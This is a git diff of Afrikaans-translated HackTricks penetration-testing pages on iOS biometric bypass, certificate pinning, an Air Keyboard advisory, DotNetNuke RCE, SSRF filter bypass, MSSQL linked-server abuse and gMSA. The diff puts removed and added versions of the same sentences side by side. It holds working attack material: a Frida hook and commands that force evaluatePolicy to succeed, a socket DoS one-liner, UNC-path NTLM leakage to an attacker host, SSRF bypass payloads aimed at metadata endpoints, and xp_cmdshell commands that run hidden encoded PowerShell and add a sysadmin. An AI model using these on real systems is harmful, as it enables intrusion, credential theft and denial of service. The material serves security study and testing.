Vir **meer inligting** oor iOS-kodering-API's en biblioteke, toegang [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
## Plaaslike Verifikasie
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit kom by die beskerming van toegang by 'n afgeleë eindpunt deur middel van kodering metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasie meganismes omseil kan word.
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit kom by die beskerming van toegang by 'n afgeleë eindpunt deur middel van koderingmetodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiesisteme omseil kan word.
Apple se [**Plaaslike Verifikasie raamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelkettie**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasiedialoge te fasiliteer en veilig geheime data te hanteer, onderskeidelik. Die Veilige Enklave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID op gesigsherkenning staatmaak sonder om biometriese data in gevaar te stel.
Apple se [**Plaaslike Verifikasie-raamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelkettie**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasiedialoge te fasiliteer en geheimedata veilig te hanteer, onderskeidelik. Die Veilige Enklave beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID op gesigsherkenning staatmaak sonder om biometriese data in gevaar te stel.
Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses:
- **`LocalAuthentication.framework`** vir hoëvlak gebruikersverifikasie sonder toegang tot biometriese data.
- **`Security.framework`** vir laevlak sleutelkettie dienste toegang, wat geheime data beveilig met biometriese verifikasie. Verskeie [oopbron wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelkettie toegang eenvoudiger.
- **`Security.framework`** vir laevlak sleutelkettiedienste toegang, wat geheimedata beveilig met biometriese verifikasie. Verskeie [oopbron-wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelkettie toegang eenvoudiger.
> [!CAUTION]
> egter, beide `LocalAuthentication.framework` en `Security.framework` bied kwesbaarhede, aangesien hulle hoofsaaklik booleaanse waardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
@ -738,18 +738,18 @@ Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses:
Om gebruikers vir verifikasie te vra, moet ontwikkelaars die **`evaluatePolicy`** metode binne die **`LAContext`** klas gebruik, en kies tussen:
- **`deviceOwnerAuthentication`**: Vra vir Touch ID of toestel wagwoord, en faal as geen een geaktiveer is nie.
- **`deviceOwnerAuthentication`**: Vra vir Touch ID of toestelwachtwoord, en faal as geen van beide geaktiveer is nie.
- **`deviceOwnerAuthenticationWithBiometrics`**: Vra eksklusief vir Touch ID.
'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout beklemtoon.
'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsgebrek beklemtoon.
### Plaaslike Verifikasie met behulp van Sleutelkettie
Die implementering van **plaaslike verifikasie** in iOS-apps behels die gebruik van **sleutelkettie API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker, met behulp van hul toestel wagwoord of biometriese verifikasie soos Touch ID, toegang verkry kan word.
Die implementering van **plaaslike verifikasie** in iOS-apps behels die gebruik van **sleutelkettie API's** om geheimedata soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker, met behulp van hul toestelwachtwoord of biometriese verifikasie soos Touch ID, toegang verkry kan word.
Die sleutelkettie bied die vermoë om items met die `SecAccessControl` attribuut in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol verifieer deur middel van Touch ID of toestel wagwoord. Hierdie kenmerk is van kardinale belang om sekuriteit te verbeter.
Die sleutelkettie bied die vermoë om items met die `SecAccessControl` attribuut in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol verifieer deur middel van Touch ID of toestelwachtwoord. Hierdie kenmerk is van kardinale belang om sekuriteit te verbeter.
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/van die sleutelkettie te stoor en te onttrek, terwyl hierdie sekuriteitskenmerke benut word. Die voorbeelde toon spesifiek hoe om toegangbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waaraan dit ingestel is, toeganklik is, onder die voorwaarde dat 'n toestel wagwoord geconfigureer is.
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/vanaf die sleutelkettie te stoor en te onttrek, terwyl hierdie sekuriteitskenmerke benut word. Die voorbeelde toon spesifiek hoe om toegangbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs op die toestel waaraan dit ingestel is, toeganklik is, onder die voorwaarde dat 'n toestelwachtwoord geconfigureer is.
{{#tabs}}
{{#tab name="Swift"}}
@ -885,13 +885,13 @@ As `LocalAuthentication.framework` in 'n app gebruik word, sal die uitvoer beide
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
If `Security.framework` word gebruik, sal slegs die tweede een vertoon word.
If `Security.framework` gebruik word, sal slegs die tweede een vertoon word.
### Plaaslike Verifikasie Raamwerk Omseiling
#### **Objection**
Deur die **Objection Biometrics Bypass**, geleë op [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), is 'n tegniek beskikbaar om die **LocalAuthentication** meganisme te oorkom. Die kern van hierdie benadering behels die gebruik van **Frida** om die `evaluatePolicy` funksie te manipuleer, wat verseker dat dit konsekwent 'n `True` uitkoms lewer, ongeag die werklike verifikasie sukses. Dit is veral nuttig om gebrekkige biometriese verifikasieprosesse te omseil.
Deur die **Objection Biometriese Omseiling**, geleë op [this GitHub page](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), is 'n tegniek beskikbaar om die **LocalAuthentication** meganisme te oorkom. Die kern van hierdie benadering behels die gebruik van **Frida** om die `evaluatePolicy` funksie te manipuleer, wat verseker dat dit konsekwent 'n `True` uitkoms lewer, ongeag die werklike verifikasie sukses. Dit is veral nuttig om gebrekkige biometriese verifikasieprosesse te omseil.
Om hierdie omseiling te aktiveer, word die volgende opdrag gebruik:
```bash
@ -936,7 +936,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
```
Om die **bypass** van Plaaslike Verifikasie te bereik, word 'n Frida-skrip geskryf. Hierdie skrip teiken die **evaluatePolicy** kontrole, wat sy terugroep onderbreek om te verseker dat dit **success=1** teruggee. Deur die gedrag van die terugroep te verander, word die verifikasietoets effektief omseil.
Die skrip hieronder word ingespuit om die resultaat van die **evaluatePolicy** metode te verander. Dit verander die terugroep se resultaat om altyd sukses aan te dui.
Die onderstaande skrip word ingespuit om die resultaat van die **evaluatePolicy** metode te verander. Dit verander die terugroep se resultaat om altyd sukses aan te dui.
```swift
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
@ -958,7 +958,7 @@ return result;
console.log("Objective-C Runtime is not available!");
}
```
Om die Frida-skripte in te voeg en die biometriese verifikasie te omseil, word die volgende opdrag gebruik:
Om die Frida-skripte in te voeg en die biometriese outentisering te omseil, word die volgende opdrag gebruik:
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
@ -1017,13 +1017,13 @@ burp-configuration-for-ios.md
### Gasheernaam kontrole
Een algemene probleem met die validasie van die TLS sertifikaat is om te kontroleer dat die sertifikaat deur 'n **betroubare** **CA** onderteken is, maar **nie te kontroleer** of **die gasheernaam** van die sertifikaat die gasheernaam is wat toeganklik is.\
Een algemene probleem met die validasie van die TLS sertifikaat is om te kontroleer dat die sertifikaat deur 'n **betroubare** **CA** onderteken is, maar **nie te kontroleer** of **die gasheernaam** van die sertifikaat die gasheernaam is wat toeganklik is nie.\
Om hierdie probleem met Burp te kontroleer, nadat jy Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander gasheernaam skep** en dit gebruik. As die toepassing steeds werk, dan is daar iets wat kwesbaar is.
### Sertifikaat Pinning
As 'n toepassing korrek SSL Pinning gebruik, sal die toepassing slegs werk as die sertifikaat die verwagte een is. Wanneer jy 'n toepassing toets, **kan dit 'n probleem wees aangesien Burp sy eie sertifikaat sal dien.**\
Om hierdie beskerming binne 'n jailbroken toestel te omseil, kan jy die toepassing [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) installeer of [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) installeer.
Om hierdie beskerming binne 'n jailbreak toestel te omseil, kan jy die toepassing [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) installeer of [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) installeer.
Jy kan ook **objection's** `ios sslpinning disable` gebruik.
@ -1046,13 +1046,13 @@ Vir hierdie doel word gewoonlik [**JSPatch**](https://github.com/bang590/JSPatch
### Derde Partye
'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan granulaire beheer** oor hul funksies. Ontwikkelaars staan voor 'n keuse: of om die SDK te integreer en al sy funksies te aanvaar, insluitend potensiële sekuriteitskwesbaarhede en privaatheidskwessies, of om die voordele heeltemal te verwerp. Dikwels is ontwikkelaars nie in staat om kwesbaarhede binne hierdie SDK's self te patch nie. Verder, soos SDK's vertroue binne die gemeenskap verkry, kan sommige begin om malware te bevat.
'n Beduidende uitdaging met **3de party SDK's** is die **gebrek aan granulaire beheer** oor hul funksies. Ontwikkelaars staan voor 'n keuse: of om die SDK te integreer en al sy funksies te aanvaar, insluitend potensiële sekuriteitskwesbaarhede en privaatheidskwessies, of om die voordele daarvan heeltemal te verwerp. Dikwels is ontwikkelaars nie in staat om kwesbaarhede binne hierdie SDK's self te patch nie. Verder, soos SDK's vertroue binne die gemeenskap verkry, kan sommige begin om malware te bevat.
Die dienste wat deur derdeparty SDK's verskaf word, kan gebruikersgedragopsporing, advertensie vertonings of gebruikerservaring verbeterings insluit. Dit stel egter 'n risiko in, aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is van kardinale belang om die inligting wat met derdeparty dienste gedeel word te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
Die dienste wat deur derdeparty SDK's verskaf word, kan gebruikersgedragopsporing, advertensie vertonings of gebruikerservaring verbeterings insluit. Dit stel egter 'n risiko in, aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is van kardinale belang om die inligting wat met derdeparty dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
Die implementering van derdeparty dienste kom gewoonlik in twee vorme: 'n standalone biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word **geanonimiseer** word om die bekendmaking van Persoonlike Identifiseerbare Inligting (PII) te voorkom.
Die implementering van derdeparty dienste kom gewoonlik in twee vorme: 'n standalone biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlike Identifiseerbare Inligting (PII) te voorkom.
Om die biblioteke wat 'n toepassing gebruik te identifiseer, kan die **`otool`** opdrag gebruik word. Hierdie hulpmiddel moet teen die toepassing en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek.
Om die biblioteke wat 'n toepassing gebruik, te identifiseer, kan die **`otool`** opdrag gebruik word. Hierdie hulpmiddel moet teen die toepassing en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek.
```bash
otool -L <application_path>
```

View File

@ -4,9 +4,9 @@
## TL;DR
Die iOS weergawe van die kommersiële "Air Keyboard" toepassing (App Store ID 6463187929) open 'n **duidelike teks TCP diens op poort 8888** wat toetsaanslag rame **sonder enige outentisering** aanvaar. Enige toestel op dieselfde Wi-Fi netwerk kan met daardie poort verbind en arbitrêre sleutelbordinvoer in die slagoffer se foon inspuit, wat **volledige afstandinteraksie-hijacking** bereik.
Die iOS weergawe van die kommersiële "Air Keyboard" toepassing (App Store ID 6463187929) open 'n **duidelike teks TCP diens op poort 8888** wat toetsaanslag rame **sonder enige outentisering** aanvaar. Enige toestel op dieselfde Wi-Fi netwerk kan met daardie poort verbind en arbitrêre sleutelbordinvoer in die slagoffer se foon inspuit, wat **volledige afstandsinteraksie oorname** bereik.
'n Genoot Android-bou luister op **poort 55535**. Dit voer 'n swak AES-ECB handdruk uit, maar vervaardigde rommel veroorsaak 'n **onbehandelde uitsondering in die OpenSSL ontsleuteling roetine**, wat die agtergronddiens laat crash (**DoS**).
'n Genoot Android weergawe luister op **poort 55535**. Dit voer 'n swak AES-ECB handdruk uit, maar vervaardigde rommel veroorsaak 'n **onbehandelde uitsondering in die OpenSSL ontsleuteling roetine**, wat die agtergrond diens laat crash (**DoS**).
## 1. Diens Ontdekking
@ -57,7 +57,7 @@ Enige drukbare ASCII (insluitend `\n`, `\r`, spesiale sleutels, ens.) kan gestuu
## 4. Android Companion Denial-of-Service
Die Android-poort (55535) verwag 'n 4-karakter wagwoord wat geënkripteer is met 'n **hard-gecodeerde AES-128-ECB sleutel** gevolg deur 'n willekeurige nonce. Parsingsfoute beland by `AES_decrypt()` en word nie opgevang nie, wat die luisterdraad beëindig. 'n Enkele verkeerd gevormde pakket is dus genoeg om wettige gebruikers af te sluit totdat die proses weer begin word.
Die Android-poort (55535) verwag 'n 4-karakter wagwoord wat geënkripteer is met 'n **hard-gecodeerde AES-128-ECB sleutel** gevolg deur 'n willekeurige nonce. Parsingsfoute beland by `AES_decrypt()` en word nie opgevang nie, wat die luisterdraad beëindig. 'n Enkele verkeerd gevormde pakket is dus genoeg om wettige gebruikers af te sluit totdat die proses weer herbegin word.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS

View File

@ -4,7 +4,7 @@
## DotNetNuke (DNN)
As jy as **administrateur** in DNN inlog, is dit maklik om **RCE** te verkry, maar 'n aantal *onaangetekende* en *post-auth* tegnieke is in die afgelope paar jaar gepubliseer. Die volgende spiekkaart versamel die nuttigste primitiewe vir beide offensiewe en defensiewe werk.
As jy as **administrateur** in DNN inlog, is dit maklik om **RCE** te verkry, maar 'n aantal *onaangetekende* en *post-auth* tegnieke is in die afgelope paar jaar gepubliseer. Die volgende spiekbrief versamel die nuttigste primitiewe vir beide offensiewe en defensiewe werk.
---
## Weergawe & Omgewing Enumerasie
@ -48,7 +48,7 @@ Die versoek word in die agtergrond geaktiveer; monitor jou luisteraar vir terugr
### 3. NTLM Hash Blootstelling via UNC Oorleiding (CVE-2025-52488)
*Geaffekteerde weergawes 6.0.0 9.x (< 10.0.1)*
Spesiaal saamgestelde inhoud kan DNN laat probeer om 'n hulpbron te verkry met 'n **UNC pad** soos `\\attacker\share\img.png`. Windows sal gelukkig NTLM-onderhandeling uitvoer, wat die bediener-rekening hashes aan die aanvaller blootstel. Opgradeer na **10.0.1** of deaktiveer uitgaande SMB by die firewall.
Spesiaal saamgestelde inhoud kan DNN laat probeer om 'n hulpbron te verkry met 'n **UNC pad** soos `\\attacker\share\img.png`. Windows sal graag NTLM onderhandeling uitvoer, wat die bediener-rekening hashes aan die aanvaller blootstel. Opgradeer na **10.0.1** of deaktiveer uitgaande SMB by die firewall.
### 4. IP Filter Omseiling (CVE-2025-52487)
As administrateurs op *Host/IP Filters* staatmaak vir admin portaal beskerming, wees bewus dat weergawes voor **10.0.1** omseil kan word deur `X-Forwarded-For` in 'n omgekeerde proxy-scenario te manipuleer.
@ -57,7 +57,7 @@ As administrateurs op *Host/IP Filters* staatmaak vir admin portaal beskerming,
## Post-Authentisering na RCE
### Via SQL konsole
Onder **`Settings → SQL`** 'n ingeboude vrae venster laat uitvoering teen die webwerf databasis toe. Op Microsoft SQL Server kan jy **`xp_cmdshell`** aktiveer en opdragte genereer:
Onder **`Settings → SQL`** 'n ingeboude vrae venster laat uitvoering teen die webwerf databasis toe. Op Microsoft SQL Server kan jy **`xp_cmdshell`** aktiveer en opdragte genereer:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
@ -82,7 +82,7 @@ Sodra kode-uitvoering bereik is as **IIS AppPool\<Site>**, geld algemene Windows
---
## Versterking Aanbevelings (Blou Span)
* **Opgradeer** na ten minste **9.13.9** (herstel SSRF omseiling) of verkieslik **10.0.1** (IP-filter & NTLM probleme).
* **Opgradeer** na ten minste **9.13.9** (regstel SSRF omseiling) of verkieslik **10.0.1** (IP-filter & NTLM probleme).
* Verwyder oorblywende **`InstallWizard.aspx*`** lêers na installasie.
* Deaktiveer uitgaande SMB (poorte 445/139) egress.
* Handhaaf sterk *Host Filters* op die rand proxy eerder as binne DNN.

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
### Lokale gasheer
### Plaaslike gasheer
```bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
@ -144,7 +144,7 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Paaie en Uitbreidings Omseil
### Paaie en Uitbreidingsomseiling
As jy vereis dat die URL moet eindig in 'n pad of 'n uitbreiding, of 'n pad moet bevat, kan jy een van die volgende omseilings probeer:
```
@ -156,18 +156,18 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe invoer om te probeer om die gebruikte regex te omseil. Kyk na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) ook vir meer inligting.
### Automatic Custom Wordlists
### Outomatiese Aangepaste Woordlyste
Kyk na die [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om vir jou te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host header of in 'n CORS header kan gebruik.
Kyk na die [**URL validasie omseil cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host kop of in 'n CORS kop kan gebruik.
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Bypass via redirect
### Omseil via omleiding
Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **redirect** antwoord op daardie versoek nie.\
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python server gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil omlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **toegang**.\
Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **omleidings** antwoord op daardie versoek nie.\
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil omlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **toegang**.\
[Kyk na hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -197,9 +197,9 @@ Die _backslash-trick_ benut 'n verskil tussen die [WHATWG URL Standard](https://
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Linker vierkantige haak
### Linker vierkantige hakie
Die “linker vierkantige haak” karakter `[` in die gebruikersinligtingsegment kan veroorsaak dat Spring se UriComponentsBuilder 'n hostname waarde teruggee wat verskil van blaaiers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
Die “linker vierkantige hakie” karakter `[` in die gebruikersinligtingsegment kan veroorsaak dat Spring se UriComponentsBuilder 'n hostname waarde teruggee wat verskil van blaaiers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Ander Verwirring
@ -207,9 +207,9 @@ Die “linker vierkantige haak” karakter `[` in die gebruikersinligtingsegment
beeld van [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
### IPv6 Zone Identifier (%25) Trick
### IPv6 Sone Identifiseerder (%25) Trick
Moderne URL-parsers wat RFC 6874 ondersteun, laat *link-local* IPv6 adresse toe om 'n **zone identifier** na 'n persentteken in te sluit. Sommige sekuriteitsfilters is nie bewus van hierdie sintaksis nie en sal slegs vierkantige haak-IPv6 literale verwyder, wat die volgende payload toelaat om 'n interne koppelvlak te bereik:
Moderne URL-parsers wat RFC 6874 ondersteun, laat *link-lokale* IPv6 adresse toe om 'n **sone identifiseerder** na 'n persentteken in te sluit. Sommige sekuriteitsfilters is nie bewus van hierdie sintaksis nie en sal slegs vierkantige hakies IPv6 literale verwyder, wat die volgende payload toelaat om 'n interne koppelvlak te bereik:
```text
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
@ -223,10 +223,10 @@ As die teiken toepassing valideer dat die gasheer *nie* `fe80::1` is nie, maar s
| Jaar | CVE | Komponent | Fout sinopsis | Minimale PoC |
|------|-----|-----------|--------------|-------------|
| 2024 | CVE-2024-22243 / 22262 | Spring `UriComponentsBuilder` | `[` is nie toegelaat in die *userinfo* afdeling nie, so `https://example.com\[@internal` word as gasheer `example.com` deur Spring geparse, maar as `internal` deur blaaiers, wat open-redirect & SSRF moontlik maak wanneer gasheer toelaat-lists gebruik word. Opgradeer na Spring 5.3.34 / 6.0.19 / 6.1.6+. |
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Terugskuinse verwarring het `http://example.com\\@169.254.169.254/` toegelaat om gasheer filters wat op `@` skei te omseil. |
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Terugskuinse verwarring het `http://example.com\\@169.254.169.254/` toegelaat om gasheer filters wat op `@` verdeel, te omseil. |
| 2022 | CVE-2022-3602 | OpenSSL | Gasheer verifikasie is oorgeslaan wanneer die naam met 'n `.` (dotless domein verwarring) gesuffikseer is. |
Wanneer jy op derdeparty URL parsers staatmaak, **vergelyk die kanonieke gasheer wat deur die biblioteek wat jy vertrou teruggegee word met die rou string wat deur die gebruiker verskaf is** om hierdie klasse van probleme te ontdek.
Wanneer jy op derdeparty URL parsers staatmaak, **vergelyk die kanonieke gasheer wat deur die biblioteek wat jy vertrou teruggegee word met die rou string wat deur die gebruiker verskaf is** om hierdie klasse van probleme te detecteer.
### Payload-generasie helpers (2024+)

View File

@ -161,7 +161,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
### MSSQL RCE
Dit mag ook moontlik wees om **opdragte** binne die MSSQL gasheer uit te voer.
Dit mag ook moontlik wees om **opdragte** binne die MSSQL-gasheer uit te voer.
```bash
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
@ -176,7 +176,7 @@ Kontroleer in die bladsy genoem in die **volgende afdeling hoe om dit handmatig
## MSSQL Betroubare Skakels
As 'n MSSQL-instansie betroubaar (databasis skakel) is deur 'n ander MSSQL-instansie. As die gebruiker bevoegdhede oor die betroubare databasis het, gaan hy in staat wees om die **vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker in staat wees om 'n verkeerd geconfigureerde databasis te vind waar hy opdragte kan uitvoer.
As 'n MSSQL-instansie betroubaar (databasis skakel) is deur 'n ander MSSQL-instansie. As die gebruiker voorregte oor die betroubare databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker in staat wees om 'n verkeerd geconfigureerde databasis te vind waar hy opdragte kan uitvoer.
**Die skakels tussen databasisse werk selfs oor woudvertroue.**
@ -230,7 +230,7 @@ Let wel dat metasploit slegs die `openquery()` funksie in MSSQL sal probeer misb
### Handmatig - Openquery()
Van **Linux** kan jy 'n MSSQL konsole skulp met **sqsh** en **mssqlclient.py** verkry.
Van **Linux** kan jy 'n MSSQL konsole-skal met **sqsh** en **mssqlclient.py** verkry.
Van **Windows** kan jy ook die skakels vind en opdragte handmatig uitvoer met 'n **MSSQL kliënt soos** [**HeidiSQL**](https://www.heidisql.com)
@ -252,11 +252,11 @@ Voer navrae uit deur die skakel (voorbeeld: vind meer skakels in die nuwe toegan
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
```
> [!WARNING]
> Kontroleer waar dubbele en enkele aanhalingsmerke gebruik word, dit is belangrik om dit op daardie manier te gebruik.
> Kyk waar dubbel en enkel aanhalingsmerke gebruik word, dit is belangrik om dit op daardie manier te gebruik.
![](<../../images/image (643).png>)
Jy kan hierdie vertroude skakelsketting handmatig vir ewig voortset.
Jy kan hierdie betroubare skakelketting handmatig vir ewig voortset.
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
@ -278,12 +278,12 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
Die **MSSQL plaaslike gebruiker** het gewoonlik 'n spesiale tipe voorreg genaamd **`SeImpersonatePrivilege`**. Dit stel die rekening in staat om "n kliënt na verifikasie te verteenwoordig".
'n Strategie wat baie outeurs ontwikkel het, is om 'n SYSTEM-diens te dwing om te verifieer by 'n rogue of man-in-the-middle diens wat die aanvaller skep. Hierdie rogue diens kan dan die SYSTEM-diens verteenwoordig terwyl dit probeer om te verifieer.
'n Strategie wat baie outeurs ontwikkel het, is om 'n SYSTEM-diens te dwing om te verifieer met 'n rogue of man-in-the-middle diens wat die aanvaller skep. Hierdie rogue diens kan dan die SYSTEM-diens verteenwoordig terwyl dit probeer om te verifieer.
[SweetPotato](https://github.com/CCob/SweetPotato) het 'n versameling van hierdie verskillende tegnieke wat uitgevoer kan word via Beacon se `execute-assembly` opdrag.
### SCCM Bestuurspunt NTLM Relay (OSD Geheimekstraksie)
Sien hoe die standaard SQL rolle van SCCM **Bestuurspunte** misbruik kan word om Netwerk Toegang Rekening en Taakvolg Geheimenisse direk uit die webdatabasis te dump:
Sien hoe die standaard SQL rolle van SCCM **Bestuurspunte** misbruik kan word om Netwerk Toegang Rekening en Taak-Reeks geheime direk uit die webdatabasis te dump:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
{{#endref}}

View File

@ -4,19 +4,19 @@
## Oorsig
Windows Gemanagte Diensrekeninge (MSA) is spesiale beginsels wat ontwerp is om dienste te laat loop sonder die behoefte om hul wagwoorde handmatig te bestuur.
Windows Gemanagte Diensrekeninge (MSA) is spesiale prinsipes wat ontwerp is om dienste te laat loop sonder die behoefte om hul wagwoorde handmatig te bestuur.
Daar is twee hoof variasies:
1. **gMSA** groep Gemanagte Diensrekening kan op verskeie gasheer gebruik word wat geoutoriseer is in sy `msDS-GroupMSAMembership` attribuut.
1. **gMSA** groep Gemanagte Diensrekening kan op verskeie gasheer gebruik word wat gemagtig is in sy `msDS-GroupMSAMembership` attribuut.
2. **dMSA** gedelegeerde Gemanagte Diensrekening die (voorskou) opvolger van gMSA, wat op dieselfde kriptografie staatmaak maar meer granular gedelegeerde scenario's toelaat.
Vir beide variasies is die **wagwoord nie gestoor** op elke Domeinbeheerder (DC) soos 'n gewone NT-hash nie. In plaas daarvan kan elke DC die huidige wagwoord **aflei** ter plaatse van:
* Die woud-wye **KDS Wortelsleutel** (`KRBTGT\KDS`) lukraak gegenereerde GUID-genaamde geheim, gerepliceer na elke DC onder die `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` houer.
